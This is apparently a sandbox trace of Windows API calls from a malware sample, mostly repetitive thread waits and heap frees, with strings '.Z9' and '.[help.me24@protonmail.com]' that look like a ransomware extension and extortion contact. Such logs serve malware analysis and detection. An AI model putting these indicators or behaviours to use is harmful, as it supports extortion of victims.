	[0166.916] GetTickCount () returned 0x113a4c2
	[0166.916] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0167.134] GetTickCount () returned 0x113a59c
	[0167.134] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0167.510] GetTickCount () returned 0x113a713
	[0167.510] GetTickCount () returned 0x113a713
	[0167.510] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0167.725] GetTickCount () returned 0x113a7ee
	[0167.725] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0167.978] GetTickCount () returned 0x113a8e8
	[0167.978] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0168.365] GetTickCount () returned 0x113aa6f
	[0168.365] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0168.629] GetTickCount () returned 0x113ab78
	[0168.629] GetTickCount () returned 0x113ab78
	[0168.629] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0168.980] GetTickCount () returned 0x113acd0
	[0168.980] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0169.367] GetTickCount () returned 0x113ae47
	[0169.367] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0169.484] GetTickCount () returned 0x113aed4
	[0169.484] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0169.655] GetTickCount () returned 0x113af70
	[0169.655] GetTickCount () returned 0x113af70
	[0169.655] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0169.777] GetTickCount () returned 0x113afed
	[0169.777] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0169.959] GetTickCount () returned 0x113b0a9
	[0169.974] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0170.206] GetTickCount () returned 0x113b1a3
	[0170.206] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0170.389] GetTickCount () returned 0x113b24e
	[0170.389] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0170.516] GetTickCount () returned 0x113b2cb
	[0170.516] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0170.672] GetTickCount () returned 0x113b368
	[0170.672] GetTickCount () returned 0x113b368
	[0170.672] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0170.832] GetTickCount () returned 0x113b414
	[0170.832] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0171.214] GetTickCount () returned 0x113b58b
	[0171.214] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0171.561] GetTickCount () returned 0x113b6e2
	[0171.561] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0171.933] GetTickCount () returned 0x113b859
	[0171.933] GetTickCount () returned 0x113b859
	[0171.933] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0172.275] GetTickCount () returned 0x113b9b1
	[0172.275] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0172.404] GetTickCount () returned 0x113ba2e
	[0172.404] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0172.709] GetTickCount () returned 0x113bb67
	[0172.709] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0173.018] GetTickCount () returned 0x113bc8f
	[0173.018] GetTickCount () returned 0x113bc8f
	[0173.018] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0173.192] GetTickCount () returned 0x113bd4b
	[0173.192] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0173.418] GetTickCount () returned 0x113be26
	[0173.418] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0173.804] GetTickCount () returned 0x113bfac
	[0173.804] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0174.615] GetTickCount () returned 0x113c2c9
	[0174.615] GetTickCount () returned 0x113c2c9
	[0174.615] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0175.457] GetTickCount () returned 0x113c615
	[0175.457] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0176.134] GetTickCount () returned 0x113c8c4
	[0176.134] GetTickCount () returned 0x113c8c4
	[0176.134] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0176.490] GetTickCount () returned 0x113ca2c
	[0176.490] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0176.856] GetTickCount () returned 0x113cba3
	[0176.856] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0177.348] GetTickCount () returned 0x113cd87
	[0177.348] GetTickCount () returned 0x113cd87
	[0177.348] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0177.710] GetTickCount () returned 0x113ceef
	[0177.710] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0178.277] GetTickCount () returned 0x113d121
	[0178.277] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0178.795] GetTickCount () returned 0x113d334
	[0178.795] GetTickCount () returned 0x113d334
	[0178.795] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0179.226] GetTickCount () returned 0x113d4da
	[0179.226] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0179.475] GetTickCount () returned 0x113d5d4
	[0179.476] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0179.668] GetTickCount () returned 0x113d690
	[0179.668] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0179.865] GetTickCount () returned 0x113d75b
	[0179.865] GetTickCount () returned 0x113d75b
	[0179.865] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0180.120] GetTickCount () returned 0x113d855
	[0180.120] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0180.265] GetTickCount () returned 0x113d8f1
	[0180.265] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0180.415] GetTickCount () returned 0x113d97e
	[0180.415] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0180.640] GetTickCount () returned 0x113da68
	[0180.640] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0180.819] GetTickCount () returned 0x113db14
	[0180.819] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0181.193] GetTickCount () returned 0x113dc8b
	[0181.193] GetTickCount () returned 0x113dc8b
	[0181.193] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0181.341] GetTickCount () returned 0x113dd27
	[0181.342] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0181.534] GetTickCount () returned 0x113dde3
	[0181.534] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0181.642] GetTickCount () returned 0x113de50
	[0181.642] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0181.750] GetTickCount () returned 0x113debd
	[0181.750] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0181.862] GetTickCount () returned 0x113df2b
	[0181.862] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0181.970] GetTickCount () returned 0x113df89
	[0181.970] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0182.069] GetTickCount () returned 0x113dff6
	[0182.069] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0182.176] GetTickCount () returned 0x113e063
	[0182.176] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0182.287] GetTickCount () returned 0x113e0d1
	[0182.287] GetTickCount () returned 0x113e0d1
	[0182.287] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0182.413] GetTickCount () returned 0x113e14e
	[0182.413] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0182.590] GetTickCount () returned 0x113e1fa
	[0182.590] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0182.804] GetTickCount () returned 0x113e2d4
	[0182.804] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0182.990] GetTickCount () returned 0x113e390
	[0182.990] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0183.520] GetTickCount () returned 0x113e5a3
	[0183.520] GetTickCount () returned 0x113e5a3
	[0183.520] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0183.862] GetTickCount () returned 0x113e6eb
	[0183.862] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0184.032] GetTickCount () returned 0x113e797
	[0184.032] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0184.332] GetTickCount () returned 0x113e8d0
	[0184.332] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0184.491] GetTickCount () returned 0x113e96c
	[0184.491] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0184.667] GetTickCount () returned 0x113ea18
	[0184.667] GetTickCount () returned 0x113ea18
	[0184.667] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0184.797] GetTickCount () returned 0x113ea95
	[0184.797] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0184.968] GetTickCount () returned 0x113eb41
	[0184.968] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0185.209] GetTickCount () returned 0x113ec3b
	[0185.209] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0185.523] GetTickCount () returned 0x113ed73
	[0185.523] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0185.911] GetTickCount () returned 0x113eefa
	[0185.911] GetTickCount () returned 0x113eefa
	[0185.911] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0186.233] GetTickCount () returned 0x113f042
	[0186.233] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0186.500] GetTickCount () returned 0x113f13c
	[0186.500] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0186.663] GetTickCount () returned 0x113f1d8
	[0186.663] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0186.861] GetTickCount () returned 0x113f2a3
	[0186.861] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0187.048] GetTickCount () returned 0x113f35f
	[0187.048] GetTickCount () returned 0x113f35f
	[0187.048] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0187.340] GetTickCount () returned 0x113f488
	[0187.340] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0187.568] GetTickCount () returned 0x113f562
	[0187.568] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0188.259] GetTickCount () returned 0x113f812
	[0188.259] GetTickCount () returned 0x113f812
	[0188.259] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x0
	[0188.260] WaitForMultipleObjects (nCount=0x4, lpHandles=0x282ff5c*=0x2b4, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
	[0188.577] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x52f1020 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753a08 | out: hHeap=0x710000) returned 1
	[0188.581] lstrlenW (lpString=".Z9") returned 3
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x769ec8 | out: hHeap=0x710000) returned 1
	[0188.581] lstrlenW (lpString=".[help.me24@protonmail.com]") returned 27
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72d998 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753ab8 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76a408 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76a450 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76a528 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76a570 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76a468 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x769e38 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753b68 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76a030 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x769f70 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x769f88 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753a98 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753a88 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x769e20 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753ac8 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76a0d8 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x753b78 | out: hHeap=0x710000) returned 1
	[0188.581] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x769f28 | out: hHeap=0x710000) returned 1
	[0188.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f1c0 | out: hHeap=0x710000) returned 1
	[0188.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f1e8 | out: hHeap=0x710000) returned 1
	[0188.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x723008 | out: hHeap=0x710000) returned 1
	[0188.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72a8d8 | out: hHeap=0x710000) returned 1
	[0188.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x756768 | out: hHeap=0x710000) returned 1
	[0188.583] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x725e68 | out: hHeap=0x710000) returned 1
	[0188.583] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068cd0
	[0188.583] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068cd0, Size=0x20) returned 0x3929fc0
	[0188.583] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068cd0
	[0188.583] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068cd0, Size=0x20) returned 0x3929fe8
	[0188.583] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0188.583] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0188.583] Wow64DisableWow64FsRedirection (in: OldValue=0x282ff7c | out: OldValue=0x282ff7c*=0x1) returned 1
	[0188.583] lstrlenW (lpString="kernel32.dll") returned 12
	[0188.583] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fe8 | out: hHeap=0x710000) returned 1
	[0188.583] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0188.583] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fc0 | out: hHeap=0x710000) returned 1

Thread:
	id = 37
	os_tid = 0xd7c

	[0159.303] GetTickCount () returned 0x1138708
	[0159.303] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x24) returned 0x7cf1b0
	[0159.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7cf1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8
	[0159.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7cf1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2fc
	[0159.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7cf1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x300
	[0159.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x7cf1b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304
	[0159.305] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fef8
	[0159.305] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76fef8, Size=0x20) returned 0x74f508
	[0159.305] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fef8
	[0159.305] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76fef8, Size=0x20) returned 0x74f3a0
	[0159.305] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0159.305] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0159.305] Wow64DisableWow64FsRedirection (in: OldValue=0x296ff7c | out: OldValue=0x296ff7c*=0x0) returned 1
	[0159.305] lstrlenW (lpString="kernel32.dll") returned 12
	[0159.305] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f508 | out: hHeap=0x710000) returned 1
	[0159.305] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0159.306] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f3a0 | out: hHeap=0x710000) returned 1
	[0159.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x777778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x308
	[0159.306] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0159.631] GetTickCount () returned 0x1138850
	[0159.631] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0160.315] GetTickCount () returned 0x1138b00
	[0160.315] GetTickCount () returned 0x1138b00
	[0160.315] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0160.629] GetTickCount () returned 0x1138c38
	[0160.629] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0160.916] GetTickCount () returned 0x1138d52
	[0160.916] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0161.089] GetTickCount () returned 0x1138dfe
	[0161.089] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0161.334] GetTickCount () returned 0x1138ef8
	[0161.334] GetTickCount () returned 0x1138ef8
	[0161.335] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0161.632] GetTickCount () returned 0x1139020
	[0161.633] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0161.840] GetTickCount () returned 0x11390ec
	[0161.840] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0162.121] GetTickCount () returned 0x1139205
	[0162.121] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0162.279] GetTickCount () returned 0x11392a1
	[0162.279] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0162.664] GetTickCount () returned 0x1139428
	[0162.664] GetTickCount () returned 0x1139428
	[0162.664] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0162.963] GetTickCount () returned 0x1139551
	[0162.963] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0163.289] GetTickCount () returned 0x1139699
	[0163.290] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0163.785] GetTickCount () returned 0x113988d
	[0163.785] GetTickCount () returned 0x113988d
	[0163.785] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0164.392] GetTickCount () returned 0x1139ade
	[0164.392] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0164.636] GetTickCount () returned 0x1139bd8
	[0164.636] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0164.939] GetTickCount () returned 0x1139d01
	[0164.939] GetTickCount () returned 0x1139d01
	[0164.939] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0165.132] GetTickCount () returned 0x1139dcc
	[0165.132] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0165.346] GetTickCount () returned 0x1139e98
	[0165.346] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0165.531] GetTickCount () returned 0x1139f53
	[0165.531] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0165.710] GetTickCount () returned 0x113a00f
	[0165.710] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0165.888] GetTickCount () returned 0x113a0ba
	[0165.888] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0166.178] GetTickCount () returned 0x113a1e3
	[0166.178] GetTickCount () returned 0x113a1e3
	[0166.178] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0166.406] GetTickCount () returned 0x113a2be
	[0166.406] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0166.720] GetTickCount () returned 0x113a3f7
	[0166.720] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0166.916] GetTickCount () returned 0x113a4c2
	[0166.916] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0167.134] GetTickCount () returned 0x113a59c
	[0167.134] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0167.510] GetTickCount () returned 0x113a713
	[0167.510] GetTickCount () returned 0x113a713
	[0167.510] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0167.726] GetTickCount () returned 0x113a7ee
	[0167.726] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0167.978] GetTickCount () returned 0x113a8e8
	[0167.978] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0168.365] GetTickCount () returned 0x113aa6f
	[0168.365] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0168.629] GetTickCount () returned 0x113ab78
	[0168.629] GetTickCount () returned 0x113ab78
	[0168.629] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0168.980] GetTickCount () returned 0x113acd0
	[0168.980] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0169.367] GetTickCount () returned 0x113ae47
	[0169.367] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0169.478] GetTickCount () returned 0x113aec4
	[0169.479] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0169.664] GetTickCount () returned 0x113af80
	[0169.664] GetTickCount () returned 0x113af80
	[0169.664] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0169.780] GetTickCount () returned 0x113afed
	[0169.780] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0169.959] GetTickCount () returned 0x113b0a9
	[0169.959] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0170.189] GetTickCount () returned 0x113b183
	[0170.189] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0170.310] GetTickCount () returned 0x113b200
	[0170.310] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0170.481] GetTickCount () returned 0x113b2ac
	[0170.481] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0170.645] GetTickCount () returned 0x113b358
	[0170.645] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0170.832] GetTickCount () returned 0x113b414
	[0170.832] GetTickCount () returned 0x113b414
	[0170.832] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0171.178] GetTickCount () returned 0x113b56b
	[0171.178] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0171.413] GetTickCount () returned 0x113b656
	[0171.413] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0171.927] GetTickCount () returned 0x113b859
	[0171.927] GetTickCount () returned 0x113b859
	[0171.928] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0172.275] GetTickCount () returned 0x113b9b1
	[0172.275] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0172.405] GetTickCount () returned 0x113ba2e
	[0172.405] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0172.721] GetTickCount () returned 0x113bb67
	[0172.721] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0173.018] GetTickCount () returned 0x113bc8f
	[0173.018] GetTickCount () returned 0x113bc8f
	[0173.018] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0173.192] GetTickCount () returned 0x113bd4b
	[0173.192] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0173.419] GetTickCount () returned 0x113be26
	[0173.419] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0173.805] GetTickCount () returned 0x113bfac
	[0173.805] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0174.615] GetTickCount () returned 0x113c2c9
	[0174.615] GetTickCount () returned 0x113c2c9
	[0174.615] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0175.457] GetTickCount () returned 0x113c615
	[0175.457] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0176.133] GetTickCount () returned 0x113c8c4
	[0176.133] GetTickCount () returned 0x113c8c4
	[0176.133] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0176.490] GetTickCount () returned 0x113ca2c
	[0176.490] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0176.855] GetTickCount () returned 0x113cb93
	[0176.855] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0177.349] GetTickCount () returned 0x113cd87
	[0177.349] GetTickCount () returned 0x113cd87
	[0177.349] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0177.709] GetTickCount () returned 0x113ceef
	[0177.709] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0178.278] GetTickCount () returned 0x113d131
	[0178.278] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0178.794] GetTickCount () returned 0x113d334
	[0178.794] GetTickCount () returned 0x113d334
	[0178.794] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0179.226] GetTickCount () returned 0x113d4da
	[0179.226] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0179.475] GetTickCount () returned 0x113d5d4
	[0179.475] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0179.668] GetTickCount () returned 0x113d69f
	[0179.668] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x64) returned 0x102
	[0179.865] GetTickCount () returned 0x113d75b
	[0179.865] GetTickCount () returned 0x113d75b
